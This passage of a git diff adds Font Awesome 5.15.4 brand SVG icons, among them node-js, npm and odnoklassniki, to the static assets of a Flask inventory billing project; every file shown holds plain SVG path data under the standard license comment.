176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/nimblr.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/nimblr.svg new file mode 100644 index 00000000..e991e99a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/nimblr.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/node-js.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/node-js.svg new file mode 100644 index 00000000..12a36456 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/node-js.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/node.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/node.svg new file mode 100644 index 00000000..3169c50a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/node.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/npm.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/npm.svg new file mode 100644 index 00000000..c42b3e12 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/npm.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ns8.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ns8.svg new file mode 100644 index 00000000..05f17872 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ns8.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/nutritionix.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/nutritionix.svg new file mode 100644 index 00000000..44527b43 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/nutritionix.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/octopus-deploy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/octopus-deploy.svg new file mode 100644 index 00000000..ad3c51e0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/octopus-deploy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/odnoklassniki-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/odnoklassniki-square.svg new file mode 100644 index 00000000..d203ae2c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/odnoklassniki-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/odnoklassniki.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/odnoklassniki.svg new file mode 100644 index 00000000..67159ae1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/odnoklassniki.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/old-republic.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/old-republic.svg new file mode 100644 index 00000000..6770686c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/old-republic.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 